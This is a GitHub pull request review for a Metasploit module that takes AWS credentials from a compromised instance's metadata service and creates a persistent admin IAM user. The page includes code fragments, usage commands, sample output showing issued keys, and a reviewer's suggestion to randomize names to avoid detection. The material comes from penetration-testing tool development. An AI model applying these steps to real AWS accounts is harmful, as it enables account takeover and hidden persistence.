New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Creates an AWS IAM User from pwned AWS host #7604

Merged
merged 26 commits into from Dec 8, 2016

Conversation

Projects
None yet
2 participants
@godinezj
Contributor

godinezj commented Nov 22, 2016

  • Adds generic Amazon Web Services (AWS) client
  • Escalates privs by creating an admin user in compromised AWS account

Verification

Given a meterpreter session to an AWS instance having weak privs, do:

msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > exploit

see loot, e.g., $ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt

if res.nil?
print_error "#{peer} did not respond"
else
Hash.from_xml(res.body)

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

What happens when the currently effective role doesn't have access to the particular API being called?

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

What happens when the currently effective role doesn't have access to the particular API being called?

This comment has been minimized.

@godinezj

godinezj Nov 23, 2016

Contributor

AWS will respond with an error message which can be printed out with print_results().

print_results() in is used to print the results of calls to call_*(). aws_create_iam_user and other modules can continue making the API calls even if some of they fail, because all that really matters is that the call to CreateAccessKey is successful.

e.g.,

[*] 169.254.169.254 - looking for creds...
[*] Creating user: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[-] User: arn:aws:sts::097986286576:assumed-role/msftestrole/i-f397c880 is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::097986286576:user/metasploit
[*] Creating group: metasploit
...
[!] AccessKeyId: AKIA...
[!] SecretAccessKey: ...
[!] AccessKeySelector: HMAC
[!] UserName: metasploit
[!] Status: Active
[!] CreateDate: 2016-11-23T18:24:44.517Z
[+] API keys stored at: /home/pwner/.msf4/loot/201652_default_559.txt
[*] Post module execution completed
@godinezj

godinezj Nov 23, 2016

Contributor

AWS will respond with an error message which can be printed out with print_results().

print_results() in is used to print the results of calls to call_*(). aws_create_iam_user and other modules can continue making the API calls even if some of they fail, because all that really matters is that the call to CreateAccessKey is successful.

e.g.,

[*] 169.254.169.254 - looking for creds...
[*] Creating user: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[-] User: arn:aws:sts::097986286576:assumed-role/msftestrole/i-f397c880 is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::097986286576:user/metasploit
[*] Creating group: metasploit
...
[!] AccessKeyId: AKIA...
[!] SecretAccessKey: ...
[!] AccessKeySelector: HMAC
[!] UserName: metasploit
[!] Status: Active
[!] CreateDate: 2016-11-23T18:24:44.517Z
[+] API keys stored at: /home/pwner/.msf4/loot/201652_default_559.txt
[*] Post module execution completed

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

👍

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

👍

Show outdated Hide outdated modules/post/multi/escalate/aws_create_iam_user.rb
OptString.new('RPORT', [true, 'AWS IAM Endpoint TCP Port', 443]),
OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),
OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),
OptString.new('IAM_USERNAME', [true, 'Username for the user to be created', 'metasploit']),

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Is there value in making this something non-static by default?

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Is there value in making this something non-static by default?

This comment has been minimized.

@godinezj

godinezj Nov 23, 2016

Contributor

Say more?

@godinezj

godinezj Nov 23, 2016

Contributor

Say more?

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

The name of the user to create defaults to metasploit. AFAIK, in general it is desirable to have these modules operate in such a way that they can't trivially be detected for example by looking for commonly used strings, etc. Perhaps just make this default to a random string when not specified?

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

The name of the user to create defaults to metasploit. AFAIK, in general it is desirable to have these modules operate in such a way that they can't trivially be detected for example by looking for commonly used strings, etc. Perhaps just make this default to a random string when not specified?

This comment has been minimized.

@godinezj

godinezj Nov 29, 2016

Contributor

I get it.

@godinezj

godinezj Nov 29, 2016

Contributor

I get it.

Show outdated Hide outdated modules/post/multi/escalate/aws_create_iam_user.rb
print_results(doc, action)
# create group
print_status("Creating group: #{username}")

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

For ... I guess all of these calls, what happens if this module has been run in a similar way before and, for example, tries to create the same group again? Might be a reason to randomize some of this by default.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

For ... I guess all of these calls, what happens if this module has been run in a similar way before and, for example, tries to create the same group again? Might be a reason to randomize some of this by default.

This comment has been minimized.

@godinezj

godinezj Nov 23, 2016

Contributor

I think we should control this a bit more, in case that they user already exists, then one could simply change the IAM_USERNAME options and rerun the module.

e.g.,

msf post(aws_create_iam_user) > run

[*] 169.254.169.254 - looking for creds...
[*] Creating user: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[-] User with name metasploit already exists.
...
msf post(aws_create_iam_user) > set IAM_USERNAME redteam
IAM_USERNAME => redteam
msf post(aws_create_iam_user) > run

[*] 169.254.169.254 - looking for creds...
[*] Creating user: redteam
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[!] Path: /
[!] UserName: redteam
[!] Arn: arn:aws:iam::097986286576:user/redteam
[!] UserId: AID...
@godinezj

godinezj Nov 23, 2016

Contributor

I think we should control this a bit more, in case that they user already exists, then one could simply change the IAM_USERNAME options and rerun the module.

e.g.,

msf post(aws_create_iam_user) > run

[*] 169.254.169.254 - looking for creds...
[*] Creating user: metasploit
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[-] User with name metasploit already exists.
...
msf post(aws_create_iam_user) > set IAM_USERNAME redteam
IAM_USERNAME => redteam
msf post(aws_create_iam_user) > run

[*] 169.254.169.254 - looking for creds...
[*] Creating user: redteam
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)...
[!] Path: /
[!] UserName: redteam
[!] Arn: arn:aws:iam::097986286576:user/redteam
[!] UserId: AID...

This comment has been minimized.

@godinezj

godinezj Nov 29, 2016

Contributor

doing this in upcoming commit: username = datastore['IAM_USERNAME'].empty? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_USERNAME']

@godinezj

godinezj Nov 29, 2016

Contributor

doing this in upcoming commit: username = datastore['IAM_USERNAME'].empty? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_USERNAME']

module Metasploit
module Framework
module Aws
module Client

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

It would be excellent if there were specs for this client, or at least the critical parts. Some seem easily testable, others not. See what you can do and we can lend a hand.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

It would be excellent if there were specs for this client, or at least the critical parts. Some seem easily testable, others not. See what you can do and we can lend a hand.

This comment has been minimized.

@godinezj

godinezj Nov 23, 2016

Contributor

On it.

@godinezj

godinezj Nov 23, 2016

Contributor

On it.

This comment has been minimized.

@godinezj

godinezj Nov 25, 2016

Contributor

Added spec, please advice.

@godinezj

godinezj Nov 25, 2016

Contributor

Added spec, please advice.

@jhart-r7 jhart-r7 self-assigned this Nov 23, 2016

Show outdated Hide outdated documentation/modules/post/multi/escalate/aws_create_iam_user.md
hosts in the account if you simply create an admin user.
## Privileges
This module depends on administrators being lazy and not using the least

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Minor, but add a blank line to start this section (like you did previously)

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Minor, but add a blank line to start this section (like you did previously)

This comment has been minimized.

@godinezj

godinezj Nov 23, 2016

Contributor

got it.

@godinezj

godinezj Nov 23, 2016

Contributor

got it.

Show outdated Hide outdated modules/post/multi/escalate/aws_create_iam_user.rb
'License' => MSF_LICENSE,
'Platform' => %w(unix),
'SessionTypes' => %w(shell meterpreter),
'Author' => ['Javier Godinez <godinezj[at]gmail.com>']

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Maybe a references section that points to some AWS documentation as well as your RSA presentation.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Maybe a references section that points to some AWS documentation as well as your RSA presentation.

Show outdated Hide outdated modules/post/multi/escalate/aws_create_iam_user.rb
creds = metadata_creds
if datastore['AccessKeyId'].empty?
if creds['AccessKeyId'].nil?
print_error("Clould not find creds")

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Could

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Could

This comment has been minimized.

@godinezj

godinezj Nov 23, 2016

Contributor

got it

@godinezj

godinezj Nov 23, 2016

Contributor

got it

Show outdated Hide outdated modules/post/multi/escalate/aws_create_iam_user.rb
# setup creds for making IAM API calls
creds = metadata_creds
if datastore['AccessKeyId'].empty?
if creds['AccessKeyId'].nil?

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Would it make sense to use .empty? here too? If you are worried about this being nil, you are likely also worried that the remote service will return an empty string for the AccessKeyId value.

@jhart-r7

jhart-r7 Nov 23, 2016

Contributor

Would it make sense to use .empty? here too? If you are worried about this being nil, you are likely also worried that the remote service will return an empty string for the AccessKeyId value.

This comment has been minimized.

@godinezj

godinezj Nov 23, 2016

Contributor

yes.

@godinezj

godinezj Nov 23, 2016

Contributor

yes.

Show outdated Hide outdated spec/lib/metasploit/framework/aws/client_spec.rb
end
it 'should attempt an http call' do
expect(subject).to receive(:connect).and_raise(Rex::ConnectionError)

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

I'd suggest removing this since it will fail if someone runs this test but has something listening on 127.0.0.1's 443/TCP.

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

I'd suggest removing this since it will fail if someone runs this test but has something listening on 127.0.0.1's 443/TCP.

Show outdated Hide outdated documentation/modules/post/multi/escalate/aws_create_iam_user.md
msf post(aws_create_iam_user) > exit -y
```
You can see that the API keys stored in loot. Want console access, use [aws_console](../../gather/aws_console.md)

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

This does not (yet) exist.

@jhart-r7

jhart-r7 Nov 28, 2016

Contributor

This does not (yet) exist.

Show outdated Hide outdated modules/post/multi/escalate/aws_create_iam_user.rb
register_options(
[
OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),

This comment has been minimized.

@jhart-r7

jhart-r7 Nov 29, 2016

Contributor

Will any of these options need to be be changed by end users? Most of these seem like they will rarely change and therefore should probably be advanced options instead.

@jhart-r7

jhart-r7 Nov 29, 2016

Contributor

Will any of these options need to be be changed by end users? Most of these seem like they will rarely change and therefore should probably be advanced options instead.

@jhart-r7

This comment has been minimized.

Show comment
Hide comment
@jhart-r7

jhart-r7 Nov 29, 2016

Contributor

Overall this looks great. I only have a few minor concerns which I've pointed out. I should be able to test this PR this week and I'll let you know if I encounter any issues which I can't fix upon landing.

Thanks!

Contributor

jhart-r7 commented Nov 29, 2016

Overall this looks great. I only have a few minor concerns which I've pointed out. I should be able to test this PR this week and I'll let you know if I encounter any issues which I can't fix upon landing.

Thanks!

godinezj and others added some commits Nov 29, 2016

@jhart-r7 jhart-r7 referenced this pull request Dec 7, 2016

Merged

Initial cleanup for #7604 #1

@jhart-r7

Overall this looks great so far. I've submitted godinezj#1 to address some minor cleanup/feedback I had. As indicated, please document how to use the module more clearly with regards to IAM. For example, for this to work out of the box, the victim EC2 instance must have an IAM role that has sufficient privileges. If an IAM role is not available, credentials may be inferred from the AWS metadata service. Lastly, explicit key/secret/token options can be provided. Add documentation around all 3 of these scenarios.

Sorry for the delays in testing. Had some other stuff come up and then had difficulty tracking down a proper account to test this from.

Show outdated Hide outdated documentation/modules/post/multi/escalate/aws_create_iam_user.md
```
## Create IAM User

This comment has been minimized.

@jhart-r7

jhart-r7 Dec 7, 2016

Contributor

Please also document the usage of the other options, in particular the IAM_USERNAME, SecretAccessKey, AccessKeyId.

@jhart-r7

jhart-r7 Dec 7, 2016

Contributor

Please also document the usage of the other options, in particular the IAM_USERNAME, SecretAccessKey, AccessKeyId.

Show outdated Hide outdated lib/metasploit/framework/aws/client.rb
pstr
end
def headers(creds, service, body_digest, body_length, now = nil)

This comment has been minimized.

@jhart-r7

jhart-r7 Dec 7, 2016

Contributor

body_length is unused in this method but passed in where used. now never seems to be passed.

@jhart-r7

jhart-r7 Dec 7, 2016

Contributor

body_length is unused in this method but passed in where used. now never seems to be passed.

This comment has been minimized.

@godinezj

godinezj Dec 7, 2016

Contributor

now is passed so that unit test works.

@godinezj

godinezj Dec 7, 2016

Contributor

now is passed so that unit test works.

Show outdated Hide outdated lib/metasploit/framework/aws/client.rb
end
def call_api(creds, service, api_params)
print_status("#{peer} - Connecting (#{datastore['RHOST']})...")

This comment has been minimized.

@jhart-r7

jhart-r7 Dec 7, 2016

Contributor

RHOST duplicates the peer information here. Remove it.

@jhart-r7

jhart-r7 Dec 7, 2016

Contributor

RHOST duplicates the peer information here. Remove it.

```
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
{"AccessKeyId":"AKIA...","SecretAccessKey":"THE SECRET ACCESS KEY...","AccessKeySelector":"HMAC","UserName":"metasploit","Status":"Active","CreateDate":"2016-11-21T17:59:51.967Z"}

This comment has been minimized.

@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

What should the user do with this information? How specifically should they use these credentials?

@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

What should the user do with this information? How specifically should they use these credentials?

Show outdated Hide outdated modules/post/multi/escalate/aws_create_iam_user.rb
return if doc.nil?
path = store_loot(doc['AccessKeyId'], 'text/plain', datastore['RHOST'], doc.to_json)
print_good("API keys stored at: " + path)

This comment has been minimized.

@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

Is it worth printing these to the screen?

@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

Is it worth printing these to the screen?

register_options(
[
OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),

This comment has been minimized.

@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

This is also the name of the group and the policy. Might be worth clarifying this in the module and documentation and/or using a different name for this option.

@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

This is also the name of the group and the policy. Might be worth clarifying this in the module and documentation and/or using a different name for this option.

jhart-r7 added some commits Dec 8, 2016

@jhart-r7

This comment has been minimized.

Show comment
Hide comment
@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

Nearly there. I fixed some of my recent feedback and made the module a little more usable out of the box in godinezj#2.

Contributor

jhart-r7 commented Dec 8, 2016

Nearly there. I fixed some of my recent feedback and made the module a little more usable out of the box in godinezj#2.

jhart-r7 and others added some commits Dec 8, 2016

Merge pull request #2 from jhart-r7/pr/fixup-7604
More cleanup, allow setting of password for console access

@jhart-r7 jhart-r7 merged commit 35340ec into rapid7:master Dec 8, 2016

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details

jhart-r7 added a commit that referenced this pull request Dec 8, 2016

@jhart-r7

This comment has been minimized.

Show comment
Hide comment
@jhart-r7

jhart-r7 Dec 8, 2016

Contributor

Landed. Thanks for the contribution, and thanks for working through the PR process with me, @godinezj!

Contributor

jhart-r7 commented Dec 8, 2016

Landed. Thanks for the contribution, and thanks for working through the PR process with me, @godinezj!

jhart-r7 added a commit that referenced this pull request Dec 12, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment